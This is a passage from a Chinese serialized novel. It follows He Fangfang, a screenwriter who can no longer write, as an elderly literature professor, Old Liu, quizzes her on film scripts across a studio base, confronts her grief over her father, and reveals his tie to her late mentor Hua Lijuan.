何芳芳也笑起来,吃着橘子,“真好,我们可以叙叙旧。”
沈荷吃了一瓣橘子,“嗯,甜的,我的眼光不会错。”
何芳芳点点头,“有时候酸点更有滋味。”
沈荷吃完,拍拍手,“我一直听说你成了最厉害的编剧,回国想跟你再度合作,可惜你却跑来这里体验生活了,我回来得不巧。”
何芳芳低笑起来,整个人都在震动,“我以为我们已经在合作了啊!”
沈荷从容的神色一停,随即也笑起来,“我更期待你重出江湖,让我亲身体验杜华年的风采。”
何芳芳衔着笑,凝视她几秒,“好,一言为定。”
沈荷拍拍她手臂,“快点好起来!”
看着沈荷的背影走出门,高跟鞋的声音消失在走廊里。何芳芳低下头,从枕头下拿出华丽娟的日记,她已经翻来覆去读了好几遍。
刘白出现在门口,她也没抬头,“你又是怎么进来的?”
“跟在她后面,然后威胁护士们,要把她们私自放人进来的照片交给护士长。”刘白也很老实。
何芳芳一挑眉,翻了一页,“嗯,不错,你比曾倩有天赋多了。”
“谁稀罕这种天赋呢?”刘白很无奈。
何芳芳叹口气,抬眼看他,“她回去了吧?”
刘白有些意料之中的惊讶,“你真是个怪人。”
何芳芳笑而不语。
刘白继续说:“她连夜走的,猫猫我会暂时照顾。你毕竟伤了手,我就在外头坐着,你有事喊我。”
何芳芳笑他“你一个男的,会比护士更方便?”
刘白哑然。
“开玩笑的,谢谢你有这份心。你是个好孩子。”何芳芳收起笑容,语气很真诚。
刘白转身出了病房。
他其实知道,何芳芳此刻并不需要他,但他似乎很需要坐在这个病房外。回到酒店房间门口时,曾倩从他背上滑下来,清醒得像刚睡了八个小时。她说她酒量其实很好,只是她觉得他背着她的感受太好了。她说她还是不能等了,希望他真的能把种梧桐的人带给何芳芳,但她,不能等了。
刘白是个很敏锐的人,曾倩见完沈董那天,他一眼就看出来她内心其实十分动摇,她坚持到今天,已经不容易了。他说:“你真的想好了?李雯不一定是去投靠沈董。可你呢?你就不怕到最后发现,别人都只是在涅槃,只有你变质了?”
曾倩用一种怨鬼一样的眼神看着他,她说:“连我亲妈都能离我而去,我又为什么非要围着她转呢?这是我的第一个故事,我不能让它被埋了。更何况,她不是一直想要我过回自己的生活吗?我如她所愿。你也不用再管我。”
他很想跟着她去,可是他不能,那不是他认同的方向。他再一次看着她,走上另一条路。
今天可真忙啊!原来病人才是最累的,但好在,该见的人都见完了。何芳芳再一次想起猫猫无辜又清澈的眼神,她感到无比愧疚。
离开医院后,慕华没有回住处,她一个人跑到了几十公里外的火车站,随意买了张票,坐在候车室里。深夜的车站,最像人生——不管身在哪里,都要有个暂且的果腹和等待。明亮的灯和深蓝的夜幕,高敞的屋顶和肃然的工作人员,泡面的味道和熟睡的孩子,别有一种安宁,又有一种悸动。
好像这是格外自由的一夜,远离来处,不知去路。如果是杜华年,会觉得兴奋。
可慕华只会觉得惨淡。
她从春天来到横店,现在夏天已经过半。常常夜半,她会跑来车站,坐一晚,第二天再退票回去。
今夜,她看着候车室外的月台上,一趟一趟的火车路过,格外泪流。
一周后拆石膏,芳生工作室的新戏宣传突然重新出现在了热搜上。这类戏的后期简单,何芳芳掐着还隐约有些疼的手指一算,最多再有两个月就能上映,那时候,已经是秋天了。她不知道编剧曾倩,在华老师眼里,是不是一个满意的女儿。
她又回到了剧组工作,这种伤至少得养三个月。她从道具负责人沦落成了打杂的,但她感觉更好了,因为她有了更多的时间,去和不同的小人物聊天。只是很奇怪,刘白并没有离开横店,他每天神秘兮兮,不时出现在剧组,但晃悠一会儿又不见了。她懒得问,他也懒得说,两个我行我素的人,只有交接猫猫那天说了几句话。
立秋这天,剧组换景,何芳芳在屋檐下逗猫猫。没一会儿,剧组放饭,她屁颠颠跑过去,领了两份,往群演那头去,路上顺走了一个小马扎。她的狗可爱,这些群演没有不和她亲切的。她把一份饭递给刚从威亚上下来的一个姑娘,自己坐在马扎上,看着她吃饭,不时问点问题。
小姑娘性格直爽,有问必答,但饭还没吃完,副导又喊她去走位。小姑娘连着又扒几口,收起盒饭,“没办法,芳芳姐,等我有空再回答你问题。谢谢你帮我领饭。”何芳芳安慰她,“你是女主替身,好好表现,导演会有好印象的。”小姑娘嘿嘿一笑就跑了。
她这才从怀里拿出自己的盒饭,准备吃,又发现猫猫不在脚边,抬头去找。就这么地看见了一个老头,站在三米外,抱着她的狗,脊背挺直,白发寸头,脸庞清癯,身形瘦削,一双眼睛莹光内敛,神情朗然。风一吹,白布衫飘扬,仙
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风道骨。
可比这个组里那男主角强多了,服化道拼了老命想把他扮成旷世天神,都不如这老头轻飘飘往这里一站。
她觉得这个老头有点眼熟,但剧组里绝没有这号人。刚要去要回猫猫,老头抬步走过来,在她面前站定,俯视她,“何芳芳。”声音明亮,咬字干脆。
这一声称呼骤然打开了她的记忆通路。
何芳芳二十五岁拿第一个编剧奖的时候,评委里头有一个老头儿,他想收她做关门弟子,但何芳芳拒绝了,她想要万千星辉,觉得搞文学不如搞商业更能发挥她的才华。
当年那个老头怎么说的?他说何芳芳,才华没有根基,一旦用尽,万劫不复。
何芳芳从没想过,这场人生里,还会再次见到这个老头。
她不自觉地站起来,把盒饭放在马扎上,“刘……老师?”
“不兴叫老师!你们这个剧组里头,什么人都是个老师。”老头一脸嫌恶。又笑,“看来你还记得我老头子啊。”
他爽快的声音让颤巍巍的何芳芳阴阳怪气了一些,“记得呢,您五年前说过,我会有江郎才尽这天。”
“我只说天赋没有根基,一旦用尽,万劫不复。”老头顺两手猫猫的毛,“你别冤枉我。”
“不对吧,我记得您说的是才华一旦用尽,是才华,不是天赋。”何芳芳据记忆力争。
“你乱讲!我自己说过的话,我自己不知道?”老头左边眉毛一竖,右边眉毛不动,“我从来不喜欢才华这个词。天赋完了,就靠努力,你努力,方向错了,只能白瞎。”
何芳芳看他这样独裁,也来了脾气,跟他较劲,“有人证,你当着那么多人说的,去问他们。”
“行行行,走,现在走……”老头伸手就来拉何芳芳。
“您别拉我,我现在还有活呢!你什么身份,你去找人来问不就完了?”
“一起问才公平,你这个手伤还没好呢,能干什么?不给人添乱就不错了。”
何芳芳愣了,她是万万没想到,对话会来到人身攻击的部分。她瞬间想起来,对话刚开始的时候,她对老头的敬仰和对时光迂回重逢的感佩是充盈的,充盈到她眼眶酸胀,可是对白的走势怎么如此奇怪呢?
猫猫的眼睛在这两个人身上一来一回,最后无奈地看向了远方,瞅见两人身侧不远处有刘白,她立即挣扎下地,嫌弃地逃离了这一老一少,往刘白怀里冲去。
“爷爷,你别搞错重点了。”刘白走过来提醒他。
“你不是回去了吗?怎么还在这儿?”老头根本不在乎重点。
刘白闭嘴,对着何芳芳点了点头,把猫猫放下,转身走了。
何芳芳决定放弃这段对白,“我错了,您对。没想到您是刘白爷爷。”
“不对,你该说刘白是我孙子。”
何芳芳一想,没错,老头这用法更好。于是她点点头,“我说他怎么老在这里晃悠,原来是等您来。”
“他为了他爱的人,我为了我的遗憾。”老头的双眼此刻多了些沉着的老泪。何芳芳正惊疑,他又说:“我就叫你老何,你叫我老刘就行。老何,你那盒饭还有吗?我还没吃呢。”
何芳芳收起她的惊疑,去给老刘头又领了一份饭,顺便给猫猫也开了一个狗罐头。
53. 你看我还有救吗?
一老一少,坐在两个马扎上,低头扒饭。
扒完饭,老刘头问何芳芳,“你那个小本子里写的什么?”
何芳芳有点犹豫,还是递给他,竟还有点腼腆,“随便记的一点小感受,入不了眼的。”
老刘头从胸前口袋里掏出了老花镜戴上,翻开本子认真看了起来。何芳芳有点忍受不了这份尴尬,轻咳一声,站起来,“我去给您找点儿喝的。”
“嗯。”老刘头心不在焉应了一声,精神全在小本子里。
何芳芳赶紧走开,背对着他大口呼吸。她走到零食车边上,买了一瓶水,一瓶果汁。
老刘头看完了,见着她把水递过来,他不接,“我喝果汁。”
“果汁是冰的。”何芳芳傻眼,想要保住自己的果汁。
“我不爱喝白水。”老刘头直接上手把果汁拿了过来,开盖就喝。
何芳芳惊呆了,这个老头子他是真不拿自己当外人啊!她只能闷着口气喝水。
“也算我没看错你。”老刘头用手拍了拍腿上的本子。
何芳芳那股尴尬又上来了,“我写得乱七八糟。”
“嘿!”老刘头一笑,“你知道我以前给我的学生们布置什么期末作业么?”
何芳芳摇摇头。
“让他们写手札,是手札,不是日记。你晓得,我年轻的时候带过本科,哎呀你都想不到,很多中文系的学生,根本分不清什么是手札,什么是日记。”老刘头回想起过去,笑着摇了摇头,“你要是我的学生,你这个作业,我给A。”
何芳芳顺口接,“嗯,确实不怎么好。”
“不怎么好?”老刘头对她敷衍的态度非常不满,“你知道在我手下拿A有多难吗?你们的老师不给你们讲日记和手札的区别吧?”
他突然提高音量,把何芳芳吓了一跳,“不确定,我也……不怎么听课的,我……其实也不知道它们的区别。”
“那你知道你自己写的是什么么?”
“我管它们统一叫笔记。”
“你上课记那些也是笔记,和这个一样么?”
“不一样,上课那些是别人说的,这个是我自己写的。”
“对咯,你懂什么是手札,没有学过但是懂,那就是天分,那是一种感觉,你只要读过一次别人的手札,你就自然体会到了什么是手札,不用辛苦总结、理解。你不明白,那些没有天分的人,如果看见你一个小丫头,什么都不懂就能拿到我的A,他们心里有多难过。”
何芳芳坐在马扎上,看着另一个马扎上的老刘头,他摇摇头,叹口气,喝了一口果汁。一道秋风乍起,吹散她胡乱束在脑后的头发,暑气一瞬间消退,就像是被这道风赶跑的。她想:就是这么分明的,秋天来了。她忽然说:“第一,我不是小丫头了,年轻人都喊我老阿姨;第二,我就是为了明白,才来了这里,写了这个本子。”
“对咯!”老刘头把果汁往地上一放,“我没看走眼。”他摘掉了老花镜,“这些年读过哪些书?”
何芳芳往回一想,才发现自己最近几年,什么也没再读过了。她丧气地摇头。
“你这么多年就是吃的天分的饭,所以我说没有根基,一旦用尽……”老刘头没有说完,改口问,“你父亲没教过你什么?”
听到父亲,何芳芳立马皱紧眉头,紧抿嘴唇,头偏向一边,还是开口,“教了,很多。我不爱听他的。”
老刘头了然一笑,又问,“为什么对这些武行替身特别感兴趣?”他又拿手指点了点本子。
何芳芳抬头深吸口气,看着眼前放完饭又开始忙碌的剧组,“我有种……一直在……飘的感觉。我不知道你懂不懂,我从前没有这种感觉,何文谦走了以后,这感觉突然就上来了,劲儿大得很……”她眼睛已经有些晶莹了。
老刘头看着她泛红的眼眶,微笑,“那怎么想到跑剧组来?”
何芳芳吸吸鼻子,自嘲一笑,“我就是干这个的嘛,想不到去哪,但就是不想回去接着干了,我想找找踩在地上的感觉……啊对,是那一天,我从家里出来,站在路边,有个小姑娘路过我,跟她妈妈说我像个演员。我就想啊,我干了这么多年,好像从没了解过演员。”
“嗯,我听说了,”老刘头又喝起了果汁,“他们说你最瞧不上的就是演员。”
“我觉得他们就是工具,我怎么写,他们就给我怎么演就完了,但是……我写不出来了,这都不是秘密了,老刘,”她看向老刘头,很真诚,“我快两年,不,快三年没写过一个字了。内行的,哦不,外行的都能猜出来了。”她笑了,笑了一会儿,“老刘,你看我还有救吗?别你再白跑一趟。”
老刘头不理会她求索的眼神,只说:“最初的写作才是真的写作。你根子上就该是干这行的。”
“什么叫做最初?”
老刘头身上背着个不起眼的布口袋,他从里头掏出来一个很旧的本子,何芳芳接过来。它确实是太旧了,几乎像是见风就化。封皮上蜡黄的斑点和古老的制式,就像一颗树的年轮,是它活过多少岁月的证据。何芳芳翻看起来,越看越惊讶,她又掐起还有点疼的手指算了算,惊讶地发现这大约是老刘头念小学的时候写的。
语言也十分幼稚。
但字里行间却质朴而浪漫。今天是看见了女同学扑蝴蝶,他觉得蝴蝶真是无辜;明天是被同学拉去池塘里摸鱼摸了一下午,忘记去上学,回家被罚不让吃晚饭,但他在柴房里却想通了为什么李白会以为月光是地上的霜,因为他从柴房的窗户往外望,也觉得月色与雪色难辨,即使那是盛夏。
何芳芳想起了自己从前也喜欢写写画画,没事的时候掏出来记几笔。这种本子在家里多如废纸。
老刘头问她,“这些东西你势必也有。”她点头。他又问,“它们还在吗?”
“不好说,”何芳芳苍凉一笑,“离家这么多年,不知道被扔掉没有。”
老刘头点点头,拍拍手站起来,“走,你带我逛逛。”
“逛……逛?”何芳芳吃饱了饭又聊了会天,这下子正犯困呢,但还没来得及反驳,老刘头已经大步流星走出去了,还不忘拎起了小马扎。何芳芳没办法,也站起来拎了小马扎,跟在他后头,心想这老头可真是……怪得很。
“您想去哪里?”何芳芳追在他后头。老刘头步子迈得大,她跟得还有些费力。
“这里最多的不就是剧组吗?你带我多走几个,咱去凑个热闹。”
凑热闹?何芳芳心里骂娘:他妈的,这老头子,他也没想过,人家剧组喜欢你这个热闹吗?
她正想着怎么婉拒,老刘头就已经闯进了隔壁组,甚至径直往导演控制位走去。
何芳芳一个激灵清醒了,赶紧拉住他,“老爷子,咱别打扰人家拍戏……”
“刘老?您怎么来了?快快,给搬张椅子。”她话还没说完,就看见监视器后头的导演站起来,热情地打招呼,还使唤人给搬来了两把椅子,竟然连带着她的都有。这份殷勤劲让她突然自嘲:老何啊老何,你才离开多久,这么快就忘了这种感觉了?连见个导演都这么怂?
导演的谄媚让她既陌生又熟悉,她不止忘记了自己过去的样子,甚至这份遗忘,已经到了连常识都没有的地步——老刘头是什么人,作家圈子里、编剧圈子里,多少人是他的门生,他需要怕别人的脸色?<
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何芳芳有种功力尽失的错觉,她还在努力接受这个糟糕的感受,导演谄媚的笑声就打断了她,“这是您孙女吧?长得真好看,是想要进哪个圈子大展身手?我看是要当演员!”
老刘头一拍她背,“要做编剧!小孩子有志向,要超过我呢!”
何芳芳背上一疼,腰板应激地一挺,刚想澄清,导演又开始一番新的谄媚说辞,老刘头都照单全收。她迷惑地看着他,不知道他为何要制造爷孙的假象,更不明白这帮狗腿子是怎么看出来她是个还没混过的小丫头的。
老刘头往她手里头塞了个剧本,“看看吧,多学习。”她还懵着,皱眉瞪眼看着老刘头。老刘头低声说:“你演一演,别掉线。他们这个组的本子,你看看,我一会儿问问你。”
老刘头接着去跟导演聊天,何芳芳真像个大学生似的,坐在椅子上看起了剧本。从前,这是她的AI专门干的事。
第一幕勉强看完,她已经烦了,跳到了结尾。最后一幕看完,她思索了一会儿才慢吞吞去翻中间,就看了两眼,本子便被人抽走了。她愤怒地抬头,发现是老刘头干的好事。
她忍了忍,怒火收敛了三成,“没看完呢!”
“看太慢了!”老刘头把本子交还给导演,道了声谢,拉起何芳芳就走,“走了。”
何芳芳没想到他手劲如此之大,拽起她就如拎一只小鸡。
这里是清明上河园,处处绿柳如烟,香花遍地,回廊水榭,碧湖虹桥,还有红黄两色的秋叶点缀其间,走在园区里,五彩斑斓得好看。何芳芳生着闷气,老刘头可不管她,直接问,“剧本好不好?”
“啊?”何芳芳从闷气里还没回过神来。
“故事好不好?”老刘头一步一个问题,节奏起步就快。
“哦!”她赶紧调整自己的节奏,“剧本挺规范,故事有点俗套。”
“比如?”
“烂大街了,网文改的,流量IP,看了第一幕就看不下去。”
“有什么特色?”
“特色?”何芳芳打心眼里瞧不上这个本子,哪里想过它有什么特色?
“老何,”老刘头停下来,在一个码头边,码头两旁还有一排垂着飘纱的廊亭。
何芳芳像不认真写暑假作业的小学生,站在原地不敢动,老刘头转过身看着她,“没有一个故事是只有缺点的,如果是,那么它不会成为一个故事。你也说是流量IP,那它一定有可取之处,哪怕只有一个。你来到这里,跟这些小群演们天天混在一起,为的不就是这个吗?”
何芳芳哑口无言,码头上来了一对小情侣,上了船,船夫摇起了橹,廊亭里的飘纱猎猎翻飞,秋日午后,日光煞白,安静得听不到时间。
“有什么缺点?”老刘头转身又走。
何芳芳跟上去,“没有悬念,伏笔简陋。”她只能努力回忆仅仅看到的一点点。
“缺点是否致命?”老刘头大步流星。
何芳芳提气跟着,“致命。”
“致命的地方能不能挽回?有没有修改的必要和价值?”
岸上只有他们一前一后在往前走,湖上只有一只船在往前划,穿荫拂柳。何芳芳无法回答这个问题,只能说老实话,“我刚才根本没看完。”
“我给了你半个小时,电影剧本,泛读,你没看完?”老刘头又停下来回头看她。
“我觉得才十分钟……”何芳芳没再说下去,她突然意识到,自己是真的功力尽失。
老刘头又接着往前走,何芳芳跟上去。
岸上两个人的沉默像是秋天的布景,船上的小情侣嬉笑声传来,与午后园子的安宁极不相配。
54. 你是不是怕?
很快走到下一个剧组,何芳芳已经有些累了。老刘头照样直奔导演,一阵寒暄,丢一本剧本给她。她吸取了教训,二话不说开始看,只感觉背后有匹狼在追着她尾巴咬,她看得飞快。
果然,她堪堪看完,还没喘口气呢,本子又被空中下来一个大手给抽走了。
她呼出一口气,提起精神从椅子里弹起来,埋头跟着老刘头大步往院子外头走。照例,老刘头边走边问,“缺点是什么?”
“中段故事动力不足,导致结尾散漫。”何芳芳回答得很干脆。
老刘头点点头,“优点是什么?”
“角色设定有新意有看头。”何芳芳有点喘。
“缺点致命吗?”
“不算。可以改。”
“人物怎么样?”
“厚度欠缺,动机不深,和故事动力不足有关。缺点都是联动的。”她开始张口喘气。
老刘头没丝毫减速的迹象,“背景架构怎么样?”
“算一个优点,但是……”何芳芳口干舌燥,胸口闷痛,忍不住了,“你走慢点……”
老刘头停下来回头看她,“年轻人,体力怎么这么差?”
何芳芳说不动话,拧开水瓶要喝,老刘头阻止她,“不能喝,现在喝了,你就走不动了。来,接着来。”老刘头转身又走。
何芳芳看看水看看他,拧好盖子继续跟着。
“继续说。”
“背景架构是个优点,但是挖的深度不够,没有很好服务故事脉络。”
老刘头还是显然地走慢了些,“你会怎么写?”
“重新写。”
“从哪里开始?”
“幕后故事。”
老刘头终于露出微笑,他们也来到了大马路上。何芳芳终于撑不住了,找了个人行道前的石墩子坐下,灌了两口水。
下午四点,秋光愈盛,老刘头站在路边,西风阵阵吹动他的衣襟,他就立在那里,看着车来车往。
何芳芳看着他背影,胸中有种说不上来的旷逸。
也就休息了五分钟,老刘头掏出纸质地图,研究了一会儿,喊上她,抬步又走。何芳芳已经没脾气了。生生靠两条腿,从清明上河园,走到了秦王宫。
何芳芳也算有了经验,一进组,二人分工明确,一人寒暄往来,一人默默看剧本。
剧本的难度越来越大,老刘头问的虽然都是那些问题,但要答得好,却越来越难。一个组一个组地看过去,何芳芳脑子里的问题越来越复杂,已经顾不上腿累不累,气喘不喘。老刘头的节奏依然简洁但致命:“结局怎么样?”“结局改不改?”“幕设置合不合理?”“转折突兀吗?”“节奏合适吗?”“起伏痕迹是否生硬?”
……
源源不绝的问题。
她虽走在路上,但她却无暇去看一眼走在哪条路上。
“你喜欢这个故事吗?”
“是好故事,但类型我不喜欢。”
“是目前最好的故事吗?”
“是。但应该没有A,如果我打分的话。”何芳芳擦了把汗,她又掐着指头盘算,这到底是第几个组了?
“你喜欢什么颜色?”
“蓝色。啊?”何芳芳顺嘴一答,随即一懵,看着老刘头,脚步也停了下来。
“你喜欢吃什么菜?”老刘头也停下来看她。
何芳芳才发现,不知不觉她已经和老刘头并肩而行了。
“这也是考察的一部分?”何芳芳问。
“不算,这是我,了解我学生的一部分。”老刘头微笑起来,目光真诚,神情坦荡。
“了解”两个字击中了何芳芳,日光已斜,她的眼珠被折射出琥珀色,她蓦然想起何文谦的遗言信里提到的,他不了解他的女儿。感觉到一些情绪又要翻腾,她赶紧回过神来,可刚才数到第几个组又忘了,她暗骂一句娘。
“怎么?怕我是要给你找对象?”老刘头调侃一问。
“哦不,不是,我爱吃鱼。”何芳芳赶紧回答。
“我不会给你找对象的,实际上,我提倡我的学生们晚婚。”老刘头抬腿走进了面前的一座大殿,里头有巨大的佛像,他双掌合十,站在佛像前,默默几秒,认真地拜了下去。
何芳芳也照做。再跟着老刘头走出了大殿,她才发现,他们已经来到了城外的大智禅寺。周围群山四合,草木苍翠,砖石古旧,廊檐简素,青松翠柏的香气浓郁。剧组为了逼真,还点了香和蜡烛,太阳西落返照,还真有点出世净土的味道。
剧组正在收工拆布景,夕阳照在他们身上,何芳芳眼中一片金黄,她问老刘头,“我的基本功还行吗?”
“我从来不怀疑我看人的眼光。我想看的也不是你的基本功。”老刘头扶着栏杆上的石头,
“最喜欢哪个城市?最喜欢哪部电影?”
何芳芳又懵了,但还是回答,“城市还没有最喜欢的。电影……喜欢的挺多。”
“老何,你在抗拒什么?”老刘头没头没脑地问了一句。
何芳芳睁着一双大眼瞧着他,眼睛里是夕阳的金光。她听得懂,但她不知道如何承认。
老刘头继续,“我问你专业,你对答如流,可我问你感受,你不是给我否定答案,就是告诉我不确定的答案。”
何芳芳怔怔地看着夕阳,似乎没听见他的话一样。
老刘头仍旧从容开口,“老何,这些年,有没有交些朋友?”
她转过头,掩饰即将落下的眼泪。她已经很久很久未感受过有朋友的感觉了,如果李雯算,那么现在也不知道还算不算。或者说,李雯本来也并不真的了解她。
可是没人了解她,是不是她的错呢?她想不通,也不太敢想。今天走得很远,走了很久。她的身体很累,大脑里的绒毛细胞却异常活跃、兴奋,于是感情开始不受控,她想着想着就问出来,“也许没人了解我,是因为我从来不让人了解我。”
她的泪痕被夕阳染成了半透明的金色,老刘头露出欣慰的笑,“你荒废太久了。从你拿了那个大奖开始,你就走错了道。任何文字,都是为了描述人类的感情。我们不知疲倦地写啊写啊,难道是因为发明了新的情绪?那些悲欢离合,不是一直在重复吗?可是我们为什么还要再写呢?”
何芳芳听懂了,老刘头在骂她本末倒置,她回答,“因为就算写了这么久,好像还是诉说得不够多。”
“不是不够多,是不够深。因为感情总是比文字更深。”这是今天,老刘头第一次说她答错了。
她在台阶上坐下,“对呀,老刘,你说这么简单的道理,为什么何文谦就不懂呢?”她的声音已经哽咽,“他给我的遗言,就是一封信,他是一个相信文字比感情更重要的人。”
老刘头早知道问题就在这,此时此刻,听到她说出这句话,他才暗暗松口气,“你一直反抗他,和他一直想控制你,难道不是一样的吗?”
这话耳熟!何芳芳立即盯着老刘头,她想起了过年时何文谦跟她吵架,就这样骂过她,他说他们是一样的。她感到恐惧,“你也这么觉得?”
老刘头轻笑,“你当年拒绝我,根本不是为了钱。你就是想和你爸不一样,他是作家,你就偏不当作家。可是老何,编剧和作家差别很大吗?”老刘头露出费解的神情。
年轻的记忆滚滚回头,当时她拿了编剧奖,二十五岁,黑马之姿。老刘头点名想收她做关门弟子,她当着一群人的面就怼回去,“搞文学有什么前途?我想搞商业,挣钱。”
她简直感觉到了羞耻
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,可紧接着,她又感到了巨大的悲伤,“为什么你一眼就能看穿的东西,何文谦会相信呢?他连绝笔信里都在说,我喜欢钱,喜欢搞钱,他很无奈地接受,然后在背后默默帮我……说得好像是他的恩赐一样……”她停顿了,然后突然爆发,“鬼跟他要过恩赐啊!鬼才想做她的女儿!!他根本不知道,他简直是这个世界上,最烂的父亲!”她忽然词穷了,愤恨太深,词语根本不够,不足够,“他娘的!”最后只能骂娘。
最后一波收道具的定在原地不敢动了,老刘头给他们使眼色,他们才敢从他身后溜走。天边出现了晚霞,老刘头说:“你所有的反抗,都是为了反抗而反抗。”
“很愚蠢对不对?”何芳芳的眼泪不停地流,但脑子却反而更清爽了。
“是没有用。就像在走迷宫,你不跳出来看一看,永远走不出去。”
“可是,我还是会悲伤。”何芳芳叹气,只剩下哀鸣,“他离开了,我没有爸爸了……老刘,我好像还没有过爸爸,就没有爸爸了……更可怕的是,我在他的遗言里,竟然看到了他对我似乎也有不舍,也有感情。他到底是个什么样的人啊?他应该不懂爱的啊,为什么不带着这个人设下黄泉?为什么临死了要改人设?”她闭上眼睛,手捂着额头,呜咽了好一阵,又说:“老刘,我不是不想跟你学,我只是想靠我自己。可是我回过头才发现,这么多年,如果真的只靠自己,我根本没可能走过来,因为即便是在他的帮助下,我都已经觉得很、艰、难了!”她用尽全力吐出最后一口气,向后一倒,躺在了石砖地上,她终于可以对视苍天,“我还是何文谦的女儿,我永远跳不出这个诅咒。我和他一样,令人厌恶。”
这句话轻得,如烟。她的眼睛像个小泉眼,一直不断地流出细细涓流,从鬓角淌到地上。
老刘头静静等她说完,然后奉上了最后一击,“不敢在同一个领域里与自己的父亲较量,本身就是有一种认输。你太自卑了。可你的父亲,是一个极端自负的人。你如果想成为你自己,你得要先成为他。”
何芳芳听完,气都吸不上来了,他妈的,真是杀人诛心!她想。她看向老刘头,眼神有些凌厉,眼底的水光却还没有散尽,“我这么些年,还不自负么?我操纵别人,就像我爸操纵我一样。这就是他说的原话。”
老刘头继续补刀,“这件事上你有点蠢得像我的孙子了,你是何文谦的女儿,与你是你,根本不冲突啊。你既是何芳芳,又是杜华年,不行吗?换人家说一句:青出于蓝。不开心吗?你是不是怕,你没这个能耐?”
何芳芳已经是条死鱼了,她终于知道老刘头的目的了,就是来找她不痛快的。她坐起来,叛逆地看向他,“对,我就是怕。”
老刘头一笑,“那正好,来跟我学,我让你不怕。”
何芳芳惊讶得眨不了眼,“你竟然还能给我绕回来?!”
老刘头忍不住笑出声来,“嘿嘿嘿,选项早就给你了,谁叫你当初看不上我呢?这恰恰就是你最像何文谦的地方——谁,你都瞧不上!”
夕阳终于沉下去了,两个人沉默地送走了它。
何芳芳站了起来,拍拍土,“老刘,我没朋友,今天你做了一回我的朋友。我请你吃饭。”
老刘摆摆手,“有人请我吃饭,带你去,你跟我去不?”
何芳芳看了他两秒,“去。”
一老一少,踏着蓝调的天空,向城里走去。
“老刘,你这把年纪了,还是少喝冰的。”
“去你的,年纪都是你们给我喊大的,我就爱喝甜的冰的,怎么了?”
“对身体不好。”
“去去,又多个孙子,管头管脚。”
“老刘……”
“别说了,我打个电话问问在哪吃。”
55. 滚滚江水,滚滚红尘
夜里九点半,何芳芳和老刘头走在路上,何芳芳打算着把老刘头送回酒店就回去倒头睡觉,毕竟这种饭局很是累人。没想到老刘头一开口就说:“咱找个地方吃点宵夜吧,应酬都吃不饱。”
“您老还不累么?”何芳芳感到极端疲惫,语气也跟着恹恹的。
“老何,你知道写作最需要什么吗?”老刘头严肃一问。
何芳芳已经不想再去思考他的问题了,直接摇摇头。
“体力。你看看你,年轻人,体力还不如我一个老头子。不行啊你。”老刘头摇头叹气。
何芳芳知道他说的没错,没说话。
“走吧老何,咱爷孙俩去江边散个步。”老刘头说完就走,何芳芳只能强打精神跟在后头。
秋夜,江风很凉。何芳芳只管看着黑漆漆的江面,不说话。老刘头还真去买了一手肥牛,递给她一串,她摇头,是真没胃口。老刘头又从身后变出一罐啤酒递给她,她看了两眼,接了过来,打开,喝了两口。
“老何,你爱写作吗?”老刘头问她。
“……不知道。什么叫爱?”何芳芳反问。
“你觉得呢?”老刘头又反问。
何芳芳沉默了一会儿,才说:“不管我是什么样子,都珍视我,觉得我比别人都重要,这就是爱。”
“不管发生了什么,不管到什么时候,都要写,都想写。这就是爱。”老刘头说。
何芳芳想了想,点点头。
“老何,你父亲走了,你就不写了,这不是爱。”老刘头吃了一口肉。
“他没走的时候,我就写不出来了,跟他有什么关系?”何芳芳又灌一口酒。
“写不出和不想写,是两个概念。老何,你现在才应该是写得出的,可你不想写了。你该好好想想,你到底为什么写,难道只是为了你父亲吗?”
“我不爱写作,何文谦也不爱我,没什么不公平的。”何芳芳仰头把一罐酒倒干,又去拿了一罐回来。
眼见她摆烂,老刘头目光凝重,“你觉得我为什么要来?”没等她说话,他自己回答,“不是因为我孙子。”他摇摇头,也开了一罐啤酒,“这个臭小子,他爱上了一个女孩儿,这个女孩儿呢嫌弃他没本事。他就跑来找我,要我给他换专业,给他铺路,让他变得有本事。我说你这是作弊啊。他说人家杜华年也是作弊,他说那个女孩儿就喜欢杜华年,就喜欢作弊的人。嘿,我这孙子。我没理他,他自己想办法,还真的换了专业,有没有变得有本事我不知道,但我那些学生们都来吹捧我,说我孙子有我的风范。去他娘的,我孙子几斤几两我不知道?”老刘头停下来喝酒。
何芳芳眼睛红了,“他是爱曾倩的,我看得出来,不管曾倩变成什么样。”
老刘头不置可否,“最近,他又来找我,说这个女孩儿现在变了,变得魔怔了,要是我不能把你拉回头,他的女孩儿,就要拉不回头了。”
“噗嗤”,何芳芳笑了,“什么乱七八糟的。”
“对啊,什么乱七八糟的。”老刘头也笑了,“老何,我连我孙子都不爱管,我干嘛眼巴巴地来管你?”
他的眼睛里精光四溢,看着何芳芳,像看着久远的过去。
何芳芳等着他的答案。
“华丽娟是我最喜欢的学生。”老刘头轻轻说了这句。
他眼里有秋风秋雨。何芳芳看见了。何芳芳清醒了过来。
她看着老刘头,认真地看着,想从他脸上找到一丝证据,证明刚才她听到的只是风声。老刘头面目平静地迎视她,眼神坚定,哀戚很沉,藏得很深,很内敛,但很浓。
眼底泪水渐渐汇聚,何芳芳一开口已经哽咽,“那您也知道,曾倩是华老师的女儿了?”
老刘头点了点头,手往布口袋里摸。何芳芳转过头去,手也往包里去摸。一老一少,各自摸出了烟盒,各自掏出一支烟点上,各自深深吸了一口,再深深叹出来。谁也没再看谁,只望着江水。
江风阵阵,吐出的烟被扯得支离破碎。一支烟过半,老刘头开了口,“娟儿给我写过信,不多,但就是不多的信里头,她常常提起你。老何,你以为我会随随便便想收一个关门弟子么?”
抽上了烟,老刘头才变得像一个世事沉浮的老者,话音都沉了好几个调。
就像打开了身上的什么开关,这一老一少,各自对着江面,沉入了另一个世界。
何芳芳止不住地淌泪,波光里的灯火映在她脸上,双眼两颊鼻头,都红了,她拼命吸着烟,呼吸颤抖,泪水一滴一滴,打在栏杆上。老刘头也没好到哪去,双目发红,渗出点点老泪。
“老刘,你下午就是在试,看看我配不配得上华老师的青睐,对吧?”何芳芳颤着声音说。
“对,也不对。”老刘头掐了烟,抬起头仰天一叹,“老何,娟儿是我们最得意的学生,我和老伴儿到现在也没能接受,她怎么就先我们而去了。有时候我常想,她当初如果听我们说,晚一点结婚,是不是不会走到这一步。可她当时真是一心要嫁啊,她师母劝了又劝,没用。”老刘头顿了顿,重新看向何芳芳,“老何,刘白跟我说,曾倩怀疑她妈妈不是意外走的,还有她的日记,现在在你这里。”
何芳芳擦了眼泪,迎向他的目光,“在我这。”她从包里拿出日记本递给老刘头。
